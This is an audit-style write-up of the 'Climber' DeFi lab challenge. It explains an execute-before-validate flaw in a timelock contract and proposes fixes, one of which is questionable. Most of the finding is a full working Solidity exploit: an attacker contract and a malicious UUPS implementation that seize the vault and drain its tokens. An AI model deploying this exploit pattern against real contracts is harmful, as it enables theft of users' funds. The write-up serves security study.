The Climber Audit Report

Prepared by Ahmad Faraz

Auditing Protocol: `The Climber`

Date: August 17, 2025

Contents

1 Disclaimer

I, Ahmad Faraz, make every effort to understand the protocol and identify vulnerabilities within the given timeframe, but hold no responsibility for missed issues. This audit is not an endorsement of the protocol's business logic or product and focuses solely on Solidity level vulnerabilities.

2 Risk Classification

2.1 Impact Table

Likelihood	**Critical**	**High**	**Medium**	**Low**
Critical	Critical	Critical	High	Medium
High	Critical	High	High/Medium	Medium
Medium	High	High/Medium	Medium	Medium/Low
Low	Medium	Medium	Medium/Low	Low

3 Audit Details

3.1 Scope

The audit covered the following files:

- `./src/`
- `ClimberConstants.sol`
- `ClimberErrors.sol`
- `ClimberTimelock.sol`
- `ClimberTimelockBase.sol`
- `ClimberVault.sol`
- `DamnValuableToken.sol`

4 Protocol Summary

There's a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the [UUPS pattern](https://eips.ethereum.org/EIPS/eip-1822). The owner of the vault is a timelock contract. It can withdraw a limited amount of tokens every 15 days. On the vault there's an additional role with powers to sweep all tokens in case of an emergency. On the timelock, only an account with a "Proposer" role can schedule actions that can be executed 1 hour later.

4.1 Roles

- **ClimberTimelock** Scedual, execute and update delay of operations.
- **ClimberVault** Uses UUPS store the protocol funds, withdraw and sweep.

5 Executive Summary

The Climber smart contracts protocol audited by Ahmad Faraz. The audit identified 1 issue in total, classified as follows.

Severity Level	Issue Count
Critical	1
Total	**1**

6 Findings

6.1 Critical Severity

6.1.1 [C-1] Execute-Before-Validate Vulnerability in `ClimberTimelock::execute` function

- **Description:** The `ClimberTimelock` contract is responsible for scheduling operations which can be executed by anyone after a `1 hour` delay by invoking the `execute` function. The `execute` function has a critical vulnerability, which does not check whether a specific operation is queued or not before making an external call. A malicious actor can take advantage of this vulnerability and exploit the entire protocol to drain all the funds.

```
function execute(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements,  bytes32 salt
    ) external payable {
        if (targets.length <= MIN_TARGETS) {
            revert InvalidTargetsCount();
        }

        if (targets.length != values.length) {
            revert InvalidValuesCount();
        }

        if (targets.length != dataElements.length) {
            revert InvalidDataElementsCount();
        }

        bytes32 id = getOperationId(targets, values, dataElements, salt);

        for (uint8 i = 0; i < targets.length; ++i) {
@>            targets[i].functionCallWithValue(dataElements[i], values[i]);
        }

@>        if (getOperationState(id) != OperationState.ReadyForExecution) {
            revert NotReadyForExecution(id);
        }

        operations[id].executed = true;
    }
```

- **Impact:** An attacker exploited this vulnerability to acquire the entire protocol funds.
- **Cause:** Allowing user to make external call first then check after the call wether this operation existed or not ?
- **Recommended Mitigation:**
  1. First validate the operation, then make an external call.

```
function execute(address[] calldata targets, uint256[] calldata
   values, bytes[] calldata dataElements,  bytes32 salt
    ) external payable {
        if (targets.length <= MIN_TARGETS) {
            revert InvalidTargetsCount();
        }

        if (targets.length != values.length) {
            revert InvalidValuesCount();
        }

        if (targets.length != dataElements.length) {
            revert InvalidDataElementsCount();
        }

        bytes32 id = getOperationId(targets, values, dataElements,
           salt);


-        for (uint8 i = 0; i < targets.length; ++i) {
-            targets[i].functionCallWithValue(dataElements[i],
   values[i]);
-        }


-       if (getOperationState(id) != OperationState.
   ReadyForExecution) {
-           revert NotReadyForExecution(id);
-        }


+       if (getOperationState(id) != OperationState.
   ReadyForExecution) {
+           revert NotReadyForExecution(id);
+        }


+        for (uint8 i = 0; i < targets.length; ++i) {
+            targets[i].functionCallWithValue(dataElements[i],
   values[i]);
+        }

        operations[id].executed = true;
    }
```

  2. Add access control to the `updateDelay` function.

```
-  function updateDelay(uint64 newDelay) external {
```

```
+   function updateDelay(uint64 newDelay) external onlyRole(
    PROPOSER_ROLE) {
        if (msg.sender != address(this)) {
            revert CallerNotTimelock();
        }

        if (newDelay > MAX_DELAY) {
            revert NewDelayAboveMax();
        }

        delay = newDelay;
    }
```

- **Proof of Concept:**
    1. Attacker calls the `execute` function.
    2. Passes encoded parameters which trigger external calls.
    3. Under the hood, the external calls perform the following actions:
        - 3.1. Grant `PROPOSER_ROLE` using `grantRole(bytes32,address)`.
        - 3.2. Update the delay to `0` via `updateDelay(uint64)`.
        - 3.3. Transfer ownership of the vault using `transferOwnership(address)`.
        - 3.4. Schedule the malicious operation with `scheduleOperation()`.
    4. Upgrade the vault implementation to a malicious contract.
    5. Call the `drainFunds` function in the malicious contract to steal all assets.

  Attacker Contract:

```
contract Attack {
    ClimberVault vault;
    ClimberTimelock timelock;
    address token;
    address recovery;

    address[] targets;
    uint256[] values;
    bytes[] dataElements;
    bytes32 salt;

    constructor( ClimberVault _vault, ClimberTimelock _timelock,
        address _token, address _recovery) {
        vault = _vault;
        timelock = _timelock;
        token = _token;
        recovery = _recovery;
        salt = bytes32(0);
    }

    function attack() external {
        address maliciousImpl = address(new MaliciousVault());

        targets = new address[](4);
        values = new uint256[](4);
        dataElements = new bytes[](4);

        // 1. Grant PROPOSER_ROLE to this contract
        targets[0] = address(timelock);
        values[0] = 0;
        dataElements[0] = abi.encodeWithSignature(
            "grantRole(bytes32,address)",
            keccak256("PROPOSER_ROLE"),
            address(this)
        );

        // 2. Update delay to 0
        targets[1] = address(timelock);
        values[1] = 0;
        dataElements[1] = abi.encodeWithSignature(
            "updateDelay(uint64)",
            uint64(0)
        );

        // 3. Make timelock transfer ownership of vault to this contract
        targets[2] = address(vault);
        values[2] = 0;
        dataElements[2] = abi.encodeWithSignature(
            "transferOwnership(address)",
            address(this)
        );

        // 4. Schedule this operation
        targets[3] = address(this);
        values[3] = 0;
        dataElements[3] = abi.encodeWithSignature("scheduleOperation()");

        // 5. Execute
        timelock.execute(targets, values, dataElements, salt);

        // 6. Upgrade
        vault.upgradeToAndCall(maliciousImpl, "");

        // Drain the funds
        MaliciousVault(address(vault)).drainFunds(token, recovery);
    }

    function scheduleOperation() external {
        timelock.schedule(targets, values, dataElements, salt);
    }
}

contract MaliciousVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {
    uint256 private _lastWithdrawalTimestamp;
    address private _sweeper;
    constructor() {
        _disableInitializers();
    }

    function drainFunds(address tokenAddress, address receiver) external {
        ERC20 token = ERC20(tokenAddress);
        uint256 balance = token.balanceOf(address(this));


        SafeTransferLib.safeTransfer(token, receiver, balance);
    }

    function _authorizeUpgrade(address newImplementation) internal
        override onlyOwner {}
}
```

Run the code in `ClimberVault.t.sol`:

```
function test_Attack() public {
        address recovery = makeAddr("recovery Address");
        Attack attacker = new Attack(
            getProxy(),
            climberTimelock,
            address(token),
            recovery
        );
        attacker.attack();
    }
```

The End